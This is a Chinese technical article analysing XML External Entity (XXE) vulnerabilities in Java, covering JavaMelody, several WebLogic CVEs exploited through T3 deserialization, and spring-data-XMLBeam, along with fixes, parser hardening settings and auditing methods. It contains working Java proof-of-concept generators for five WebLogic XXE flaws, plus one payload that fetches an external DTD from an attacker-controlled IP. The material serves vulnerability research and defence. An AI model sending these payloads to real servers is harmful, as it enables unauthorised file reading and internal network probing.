Java XXE漏洞典型场景分析
本文首发于oppo安全应急响应中心：
https://mp.weixin.qq.com/s?__biz=MzUyNzc4Mzk3MQ==&mid=2247485488&idx=1&sn=65098eb75e035ff2f90d1ea552c4100a&chksm=fa7b097ccd0c806a40dd62a1f629b4753dc4b57e6af0ad618656234c46f4dfeef01140ce25a4&mpshare=1&scene=23&srcid=&sharer_sharetime=1586263198516&sharer_shareid=ae6683d6c0e7df9a0b7c15e7cacf6b3c#rd
XML 的解析过程中若存在外部实体，若不添加安全的XML解析配置，则XML文档将包含来自外部 URI 的数据。这一行为将导致XML External Entity (XXE) 攻击，从而用于拒绝服务攻击，任意文件读取，扫内网扫描。以前对xxe的认识多停留在php中，从代码层面而言，其形成原因及防护措施较为单一，而java中依赖于其丰富的库，导致解析xml数据的方式有多种，其防御手段也有着种种联系，本文主要从几个cve的分析，了解java中xxe的常用xml解析库、xxe的形成原因、java中xxe的防护手段以及如何挖掘java中的xxe。
0x02 XXE相关分析：
1.JavaMelody组件XXE
JavaMelody是一个用来对Java应用进行监控的组件。通过该组件，用户可以对内存、CPU、用户session甚至SQL请求等进行监控，并且该组件提供了一个可视化界面给用户使用。
默认情况下只要将其添加pom依赖中，其将随web服务一起启动，所以不需要什么权限即可访问此路由，若路径泄露如下图所示本来就会泄露一些敏感信息
1.1 漏洞点分析
在monitor的filter匹配之后将会对请求的http请求内容做处理获取请求类型，在net/bull/javamelody/PayloadNameRequestWrapper中在处理当content-type为以下两种情况：
1.contentType.startsWith("application/soap+xml")2.contentType.startsWith("text/xml") || requests.getheader("SOAPAction")
部分函数调用栈如下图所示：
在content type满足xml数据请求规则后调用parseSoapMethodName来对http请求内容做解析，这个函数就是漏洞所在处
这里使用xmlInputFactor工厂类，该类与DocmentBuilderFactory一样都可以设置一些feature来规范化xml处理过程，那么问题就是默认情况下dtd解析和外部实体都是可以使用的,如下两条配置即为导致xxe的默认配置
<tr><td>javax.xml.stream.isSupportingExternalEntities</td><td>Resolve external parsed entities</td><td>Boolean</td><td>Unspecified</td><td>Yes</td></tr><tr><td>javax.xml.stream.supportDTD</td><td>Use this property to request processors that do not support DTDs</td><td>Boolean</td><td>True</td><td>Yes</td></tr>
在xmlInputFactor类的文件中就可以找到默认的一些feature，我们可以将feature理解为为了解析xml而提供的配置选项
pom依赖：
<dependency><groupId>net.bull.javamelody</groupId>
<artifactId>javamelody-spring-boot-starter</artifactId>
<version>1.73.1</version>
</dependency>
1.2 代码层面修复
那么在该组件的新版本中对应的修复如下图所示，默认情况下在创建xml解析对象之前设置工厂的feature禁用掉dtd和外部实体，从而防御xxe
1.3 如何避免xxe
在实际的开发中，对于xml数据解析流程不需要外部实体参与的情况，设置feature将其禁用。在确定组件版本对xml的解析已经禁用掉外部实体后，也要设计filter来对该功能的访问进行鉴权操作，防止敏感功能被越权访问。
2.weblogic中的xxe
这节主要分析weblogic中的几个xxe，包括CVE-2019-2647-CVE2019-2650以及CVE2019-2888，那么这几个洞的原因都是weblogic依赖的jar包中涉及xml数据处理时默认情况下没有做好外部实体限制措施，导致可以通过T3协议进行序列化payload发送，从而利用外部实体进行xxe
2.1 漏洞点分析
第一处是是Oracle/Middleware/wlserver_10.3/server/lib/weblogic.jar下的weblogic/wsee/reliability/WsrmServerPayloadContext，从weblogic输入流处理到xml数据解析入口的部分调用栈如下图所示：
在WsrmServerPayloadContext的readEndpt方法中直接就能发现存在xml解析，其中使用DocumentBuilderFactory类作为解析工厂类，这里并没有添加任何feature限制外部实体的加载，所以只需要关心var14是否可控
那么在WsrmServerPayloadContext的readExternal方法调用了readEndpt方法，该方法将在反序列化时自动调用，与通常的readObject相类似，而readEndpt中的var14又来自此时的var1(payload 输入流)，所以满足可控条件
那么从反序列化到xxe的入口点就是如此，接下来只需要构造满足条件的反序列化数据流通过t3协议发送到weblogic的7001端口即可，找到该类的序列化时调用的函数然后跟踪其输出流就行
在writeExternal中判断this.fromEndpt不为null时，调用writeEndpt传入输出流， 可以看到this.fromEndpt实际上是EndpointReference的实例，根据方法名以及入口参数盲猜要将该类的实例写进输出流
那么实际上该函数的功能也主要是通过XMLSerializer的serlialize处理EndpointReference的返回值(Element类的实例)后最终存储为字节数组，并在输出流中写入字节数组和其长度，那么XMLSerializer的serialize方法的实现了3种重载，分别可以传入Element,DocumentFragment,Document，那么实际上构造xml的payload时如果使用Element型的重载，那么实际上写入的序列化数据中包含的xml数据外部实体将被解析最终只留下节点元素，所以为了在payload中保留完整的xml的payload，需要使用Document型的重载，因此这里需要重写WsrmServerPayloadContext的writeEndpt方法即可，我们只需删除jar包中对应的class字节码文件重新打包引入，然后本地新建与其包名类名一致的该类即可，从而定制如我们目标相符合的序列化数据(接下来几个weblogic的xxe payload本地构造方法均与此一样)
构造结构如上图所示，我们知道DocumentBuilder的parse处理xml文件后将返回Document，因此我们只需要将处理结果再传入serialize函数即可达成目标
重写部分如下所示：
private void writeEndpt(EndpointReference var1, ObjectOutput var2) throws IOException, ParserConfigurationException, SAXException { ByteArrayOutputStream var3 = new ByteArrayOutputStream();
OutputFormat var4 = new OutputFormat("XML", (String)null, false);
XMLSerializer var5 = new XMLSerializer(var3, var4);
Document doc = null;
Element element = null;
DocumentBuilderFactory dbFactory = DocumentBuilderFactory.newInstance();
DocumentBuilder dbBuilder = dbFactory.newDocumentBuilder();
doc = dbBuilder.parse(System.getProperty("user.dir")+"/src/main/resources/text.xml");
var5.serialize(doc);
那么根据之前的分析只需赋值his.fromEndpt为EndpointReference的实例，然后我们自己在重写的writeEndpt方法中调用DocumentBuilder的parse解析xml的payload拿到document即可
poc如下：
import weblogic.wsee.addressing.EndpointReference;import weblogic.wsee.reliability.WsrmServerPayloadContext;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
public class weblogicxxe1 {
public static void main(String[] args) throws IOException {
Object instance = getObject();
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe"));
out.writeObject(instance);
out.flush();
out.close();
}
public static Object getObject() {
EndpointReference fromEndpt = (EndpointReference) new EndpointReference();
WsrmServerPayloadContext wspc = new WsrmServerPayloadContext();
try {
Field f1 = wspc.getClass().getDeclaredField("fromEndpt");
f1.setAccessible(true);
f1.set(wspc, fromEndpt);
} catch (Exception e) {
e.printStackTrace();
}
return wspc;
}
}
生成的poc如下所示，序列化的数据包含完整的xml payload，然后使用t3协议直接打即可，由请求也可以看到的确在反序列化的过程中解析了xml并加载了外部实体
第二处位于Oracle/Middleware/wlserver_10.3/server/lib/weblogic.jar下的weblogic/wsee/message/UnknownMsgHeader类，该类的readExternal方法中直接存在没有任何防御措施的xml解析，使用的仍为DocumentBuilderFactory，从weblogic输入流处理到xml数据解析入口的部分调用栈如下图所示：
在UnknownMsgHeader的readExternal方法中xml解析时的parse方法入口参数var9主要来源于输入流Objectinput，可控，那么只需构造相应的序列化数据即可
找到其writeExternal方法，这里可以看到其写入xml payload时也使用的为XMLSerializer.serialize，这里写入的xmlheader也可以进行替换成xml解析后的Document类的实例，但是这里要用到this.qname属性，并向输出流写入该属性的三个值，由于这三个值均为字符串并且并未规定格式，因此我们只需任意赋值即可
修改其writeExternal方法如下：
public void writeExternal(ObjectOutput var1) throws IOException{ var1.writeUTF("tr1ple");
var1.writeUTF("tr1ple");
var1.writeUTF("tr1ple");
ByteArrayOutputStream var2 = new ByteArrayOutputStream();
OutputFormat var3 = new OutputFormat("XML", (String)null, false);
XMLSerializer var4 = new XMLSerializer(var2, var3);
Document doc = null;
DocumentBuilderFactory dbFactory = DocumentBuilderFactory.newInstance();
DocumentBuilder dbBuilder = null;
try {
dbBuilder = dbFactory.newDocumentBuilder();
doc = dbBuilder.parse(System.getProperty("user.dir")+"/src/main/resources/text.xml");
} catch (ParserConfigurationException e) {
e.printStackTrace();
} catch (SAXException e) {
e.printStackTrace();
}
var4.serialize(doc);
poc：
import org.w3c.dom.Element;import weblogic.wsee.message.UnknownMsgHeader;
import java.io.FileOutputStream;import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
public class weblogicxxe2 {
public static void main(String[] args) throws IOException {
Object instance = getObject();
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe3"));
out.writeObject(instance);
out.flush();
out.close();
}
public static Object getObject() {
UnknownMsgHeader umh = new UnknownMsgHeader();
return umh;
}
}
生成序列化数据后用t3协议发送即可触发xxe
第三处位于Oracle/Middleware/wlserver_10.3/server/lib/weblogic.jar下的weblogic/wsee/reliability/WsrmSequenceContext类，在其readEndpt方法中同样存在与前两个分析中相似的处理流程，使用DocumentBuilder来解析包含xml payload的输入流，从weblogic输入流处理到xml数据解析入口的部分调用栈如下图所示：
在其readExternal方法中调用了readEndpt方法，这里var2为我们构造的xml数据的长度，所以肯定大于零
那么只需要按照其writeEndpt规范的逻辑写就行，我们只需在调用serialize前控制其入口参数的值即可
更改后的writeExternal如下：
private void writeEndpt(EndpointReference var1, ObjectOutput var2) throws IOException { try {
DocumentBuilderFactory var3 = DocumentBuilderFactory.newInstance();
var3.setNamespaceAware(true);
DocumentBuilder var4 = var3.newDocumentBuilder();
Document var5 = var4.newDocument();
Element var6 = var5.createElementNS(this.rmVersion.getNamespaceUri(), weblogic.wsee.reliability.WsrmConstants.Element.ACKS_TO.getQualifiedName(this.rmVersion));
DOMUtils.addNamespaceDeclaration(var6, this.rmVersion.getPrefix(), this.rmVersion.getNamespaceUri());
var1.write(var6);
ByteArrayOutputStream var7 = new ByteArrayOutputStream();
OutputFormat var8 = new OutputFormat("XML", (String)null, false);
XMLSerializer var9 = new XMLSerializer(var7, var8);
Document doc = null;
DocumentBuilderFactory dbFactory = DocumentBuilderFactory.newInstance();
DocumentBuilder dbBuilder = dbFactory.newDocumentBuilder();
doc = dbBuilder.parse(System.getProperty("user.dir")+"/src/main/resources/text.xml");
var9.serialize(doc);
poc：
import weblogic.wsee.addressing.EndpointReference;import weblogic.wsee.reliability.WsrmSequenceContext;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
public class weblogicxxe3 {
public static void main(String[] args) throws IOException {
Object instance = getObject();
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe4"));
out.writeObject(instance);
out.flush();
out.close();
}
public static Object getObject() {
EndpointReference end = new EndpointReference();
WsrmSequenceContext umh = new WsrmSequenceContext();
try {
Field f1 = umh.getClass().getDeclaredField("acksTo");
f1.setAccessible(true);
f1.set(umh, end);
} catch (Exception e) {
e.printStackTrace();
}
return umh;
}
}
第四处位于Oracle/Middleware/wlserver_10.3/server/lib/weblogic.jar下的weblogic/wsee/wstx/internal/ForeignRecoveryContext类，从weblogic输入流处理到反序列化入口的过程部分调用栈如下图所示：
在ForeignRecoveryContext的类文件定义中如果直接找并未发现xml的处理流程，该处的利用相较于前三处构造来说还是稍微精巧一点,需要了解一下代码的基本处理逻辑。网上也没找到相应的具体分析，只有xxlegend师傅的一些简单复现分析，先给出其poc
import weblogic.wsee.wstx.internal.ForeignRecoveryContext;import weblogic.wsee.wstx.wsat.Transactional.Version;
import javax.xml.ws.EndpointReference;
import javax.transaction.xa.Xid;
import javax.xml.transform.Result;
import javax.xml.transform.stream.StreamResult;
import java.io.*;
import java.lang.reflect.Field;
public class weblogicxxe4 {
public static void main(String[] args) throws IOException {
Object instance = getObject();
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe1"));
out.writeObject(instance);
out.flush();
out.close();
}
public static class MyEndpointReference extends EndpointReference {
@Override
public void writeTo(Result result){
byte[] tmpbytes = new byte[4096];
int nRead;
try{
InputStream is = new FileInputStream(System.getProperty("user.dir")+"/src/main/resources/text.xml");
while((nRead=is.read(tmpbytes,0,tmpbytes.length)) != -1){
((StreamResult)result).getOutputStream().write(tmpbytes,0,nRead);
}
}catch (Exception e){
e.printStackTrace();
}
return;
}
}
public static Object getObject() {
Xid xid = new weblogic.transaction.internal.XidImpl();
Version v = Version.DEFAULT;
ForeignRecoveryContext frc = new ForeignRecoveryContext();
try{
Field f = frc.getClass().getDeclaredField("fxid");
f.setAccessible(true);
f.set(frc,xid);
Field f1 = frc.getClass().getDeclaredField("epr");
f1.setAccessible(true);
f1.set(frc, new MyEndpointReference());
Field f2 = frc.getClass().getDeclaredField("version");
f2.setAccessible(true);
f2.set(frc,v);
}catch(Exception e){
e.printStackTrace();
}
return frc;
}
}
先看看其writeExternal方法，箭头所指之处就是构造payload的关键之处，this.epr是抽象类EndpointReference的对象，所以这里其定义的write函数肯定要被其子类实现，那么这里实际上是将结果写入到var2中，那么poc中只需要继承EndpointReference并读取我们的xml payload写入到var2中即可，之后将通过var1写入到序列化数据中
那么在其反序列化过程中调用readExternal将通过readFrom方法读取我们的xml payload，接下来就是一大段初始化的过程，直到加载javax.xml.ws.spi.Provider后调用其readEndpointReference来对xml数据流进行读取
从ForeignRecoveryContext的readExternal到漏洞触发点部分调用栈如下图所示：
接下来就到了xxe的触发点，这里解析xml的类也与之前分析的三个cve不同，这里的Unmarshaller 类将 XML 数据反序列化解析为java对象，然而这里并未添加任何防护措施，因此导致可以注入外部实体，从而产生xxe
第五处存在于Oracle/Middleware/wlserver_10.3/server/lib/weblogic.jar下的weblogic/servlet/ejb2jsp/dd/EJBTaglibDescriptor类，在该类的load函数中存在使用DocumentBuilderFactory进行xml解析，然后该工厂类是weblogic实现的子类，其中根据本地的配置weblogic.xml.jaxp.allow.externalDTD的值来选择是否设置以下两条featue来限制外部实体的加载,然而默认情况下可以加载外部实体，因此这两条feature失效
this.delegate.setAttribute("http://xml.org/sax/features/external-general-entities", allow_external_dtd); this.delegate.setAttribute("http://xml.org/sax/features/external-parameter-entities", allow_external_dtd);
从weblogic输入流处理到反序列化入口的过程部分调用栈如下图所示：
在其load函数中只需控制var4即可，其为输入流可本地构造
那么只需要找到在何处调用了load方法即可，可以看到在其反序列化时调用的readExternal中将调用load方法，并且从数据流走向可以判断parse解析的入口参数是可控的
那么只需要按照writeExternal的逻辑构造序列化数据即可，其调用toString来传入EJBTaglibDescriptor的实例
在tostring方法中又调用该实例的toxml来将程序原来想要输出的数据输出到xmlwriter中并最终返回一个xml字符串输出为序列化数据，其中xmlwriter的println方法是真正负责写入数据的，其写入的即为xml数据
那么我们选择直接控制写入xmlwriter的数据即可
重写toxml如下：
public void toXML(XMLWriter var1) { var1.println("<?xml version=\"1.0\" encoding=\"utf-8\"?>\n" +
"<!DOCTYPE data SYSTEM \"http://192.168.3.199:8989/1.dtd\" [\n" +
" <!ELEMENT data (#PCDATA)>\n" +
" ]>\n" +
"<data>data</data>");
}
}
然后本地覆盖原生EJBTaglibDescriptorc.class即可
poc:
import weblogic.servlet.ejb2jsp.dd.EJBTaglibDescriptor;import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
public class weblogicxxe5 {
public static void main(String[] args) throws IOException {
Object instance = getObject();
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe3"));
out.writeObject(instance);
out.flush();
out.close();
}
public static Object getObject() {
EJBTaglibDescriptor umh = new EJBTaglibDescriptor();
return umh;
}
}
2.2 代码层面修复
那么weblogic的这几个xxe都要多亏与T3协议的助攻，只需要在weblogic类加载路径中可以利用的类，只需要本地构造好payload，然后将序列化的数据以T3协议格式发送至其7001端口即可，那么weblogic在更新的补丁中，也针对这些类添加了相应的feature禁掉了外部实体，从而防止进行xxe攻击
http://xml.org/sax/features/external-general-entitieshttp://xml.org/sax/features/external-parameter-entities
http://apache.org/xml/features/nonvalidating/load-external-dtd
并且通过以下属性禁用掉了xinclude并关掉了外部实体引用
setXIncludeAware(false)setExpandEntityReferences(false)
2.3 如何避免xxe
2.2中从代码层面上单个点添加代码，实际上这种方法只是单纯防御了这几个类，如果在后续的开发中加入新的jar包中存在类有未添加feature的xml解析操作，并且能够进行xml操作的类可以进行序列化，那么仍然面临着导致xxe的风险。T3协议是非常重要的WebLogic内部的通讯协议，若直接禁用T3协议则有可能影响到正常业务运行，那么可以在weblogic控制台的筛选器配置中设置连接筛选器规则进行白名单限制，选择weblogic.security.net.ConnectionFilterImpl，将允许的IP地址或网段设置为allow，然后将除此之外的所有IP地址或网段设置为deny。
3.spring-data-XMLBeam XXE
3.1 漏洞点分析
该洞主要xmlbeam这个库的问题，而spring-data-commons又使用了xmlbeam来处理客户端传输的xml文件，解析其内容然后服务端响应返回，那么在解析xml中默认允许加载外部实体，从而导致xxe，属于有回显xxe，部分调用栈如下图所示，其中由Streaminput的readDocument进入xml数据的解析
又是熟悉的DocumentBuilder，可以看到在创建解析工厂以及调用parse解析之间并未添加任何feature来限制外部实体
pom依赖：
<dependency><groupId>org.xmlbeam</groupId>
<artifactId>xmlprojector</artifactId>
<version>1.4.13</version>
</dependency>
<dependency>
<groupId>org.springframework.data</groupId>
<artifactId>spring-data-commons</artifactId>
<version>2.0.5.RELEASE</version>
</dependency>
3.2 代码层面修复
xmlbeam用的为DocumentBuilderFactory来创建dom工厂，修复的为xmlbeam的处理xml的处理文件，修复后主要为设置一些features，用于禁止外部实体的加载，另外还添加了禁止内联 DocTypeDtd的加载，feature通过dom工厂的setFeature函数进行设置
本质处理流程没问题，只是处理前需要做一些防护措施，对于不需要的功能直接禁用掉
3.3 如何避免xxe
对于1.4.15版本之前未升级的xmlxbeam库，我们可自己在创建xml解析工厂类实例后为其设置feature禁用掉外部实体或者直接升级依赖版本到1.4.15以后。
0x03 JAVA中XXE 挖掘
java中解析xml的库众多，那么白盒中可以通过正则匹配导入相应xml解析库的类，再加以手工检测来判断是否存在，比如正则匹配以下常用库
javax.xml.parsers.DocumentBuilderFactory;javax.xml.parsers.SAXParser
javax.xml.transform.TransformerFactory
javax.xml.validation.Validator
javax.xml.validation.SchemaFactory
javax.xml.transform.sax.SAXTransformerFactory
javax.xml.transform.sax.SAXSource
org.xml.sax.XMLReader
org.xml.sax.helpers.XMLReaderFactory
org.dom4j.io.SAXReader
org.jdom.input.SAXBuilder
org.jdom2.input.SAXBuilder
javax.xml.bind.Unmarshaller
javax.xml.xpath.XpathExpression
javax.xml.stream.XMLStreamReader
org.apache.commons.digester3.Digester
afanti师傅在挖掘weblogic的xxe时即通过匹配可序列化以及利用xml相关解析的库然后手工检测，其项目地址为：https://github.com/Afant1/JavaSearchTools，那么根据工具要求首先要通过jd-jui将jar包中的字节码文件恢复为java文件
以默认格式保存后即可使用javasearchtools.jar进行源码扫描
如下图所示该工具内置的正则能够匹配出我们之前分析的几个存在xxe漏洞的文件，当然该工具可能存在误报，只是作为辅助来缩小我们搜索的范围，那么接下来只需手工去扫描出来的类中去逐个确定即可
那么该工具判断xxe核心就是如下图所示的两个布尔值
分别是两种正则匹配规则，xml匹配大量内置xml解析库，是否可反序列化去匹配反序列化中的关键字，同时满足这两个条件的类将被筛选
那么挖掘其他地方的xxe时也可以使用这种正则匹配的方法来辅助检测，比如对于上面分析JavaMelody和xbeam时并不需要类具有序列化的特性，因此灵活根据实际制定匹配规则即可在其他组件的jar包中寻找可能存在xxe的点
0x04 总结
经过上面的分析，我们能够了解java中xxe的形成原因以及哪些xml处理类默认情况下能够导致xxe，当然还有其它类本文中可能未曾提及，但道理都是相通的，本文中分析的JavaMelody、Weblogic以及xbeam核心问题还是在涉及xml数据解析时引入外部可控的xml数据，但自身并未考虑是否可能产生xxe漏洞，未做到禁用外部实体的防御措施。https://find-sec-bugs.github.io/这个网站上也列出了常见的xml处理库的标准防御方法，那么总的来说，基于xxe的防御主要为以下三种：
1.设置feature为XMLConstants.FEATURE_SECURE_PROCESSING为true
这种方法实际上还是会加载外部实体但是会调用SecuritySupport.checkAccess中进行判断，判断中将外部实体的协议和允许的白名单协议进行匹配，因为XMLConstants.FEATURE_SECURE_PROCESSING将设置Property.ACCESS_EXTERNAL_DTD和Property.ACCESS_EXTERNAL_SCHEMA两个属性设置为空，而解析节点之前将根据这两个属性来设置fAccessExternalDTD为空，接着解析节点过程中如果加载外部实体为true，所以会进入checkaccess函数里面以fAccessExternalDTD作为白名单协议数组，而其值已经被置空，所以实际上所有协议被禁用，从而以此方式来达到防御xxe，比如效果如下所示
2.设置feature的http://apache.org/xml/features/disallow-doctype-decl为true
从该feature的字面意思也能猜到设置该值为true实际上禁用了(dtd)文档定义类型，在解析xml文件的过程中解析Doctype时将判断fDisallowDoctype属性是否为true，若为true则直接报错，所以这么设置就彻底杜绝了xxe漏洞，这种方法完全杜绝了所有dtd的声明，包括内部实体
3.如果想使用内部实体，单纯禁用外部实体则设置以下两个值即可，则不会进行doctype的解析，从而不会报错，xml解析其他实体正常进行
FEATURE = "http://xml.org/sax/features/external-parameter-entities";dbf.setFeature(FEATURE, false);
FEATURE = "http://xml.org/sax/features/external-general-entities";
dbf.setFeature(FEATURE, false);
参考：
https://blog.spoock.com/2018/10/23/java-xxe/
https://www.leadroyal.cn/?p=914
https://www.leadroyal.cn/?p=930
https://find-sec-bugs.github.io/bugs.htm#XXE_DOCUMENT
https://xz.aliyun.com/t/7105#toc-3
https://www.cnblogs.com/-zhong/p/11246369.html
https://paper.seebug.org/906/ weblogic 多个xxe
https://blog.csdn.net/he_and/article/details/89843004
以上是 Java XXE漏洞典型场景分析 的全部内容， 来源链接： utcz.com/z/391509.html
